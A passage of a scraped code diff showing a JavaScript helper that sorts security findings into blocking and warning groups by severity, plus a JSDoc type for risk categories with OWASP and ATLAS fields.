* @template {{ severity: string }} T
|
|
237
|
+
* @param {T[]} findings
|
|
238
|
+
* @returns {{ blocking: T[], warnings: T[] }}
|
|
239
|
+
*/
|
|
240
|
+
export function partitionFindings(findings) {
|
|
241
|
+
return {
|
|
242
|
+
blocking: findings.filter(f => isBlocking(f.severity)),
|
|
243
|
+
warnings: findings.filter(f => !isBlocking(f.severity)),
|
|
244
|
+
}
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
// ─── JSDoc typedef (for editor tooling) ──────────────────────────────────────
|
|
248
|
+
|
|
249
|
+
/**
|
|
250
|
+
* @typedef {{
|
|
251
|
+
* id: string,
|
|
252
|
+
* label: string,
|
|
253
|
+
* owasp: string,
|
|
254
|
+
* atlas: string[],
|
|
255
|
+
* description: string,
|
|
256
|
+
* severity: 'critical'|'high'|'medium'|'low'|'info',
|
|
257
|
+
* examples: string[],
|
|
258
|
+
* }} RiskCategory
|
|
259
|
+
*/
|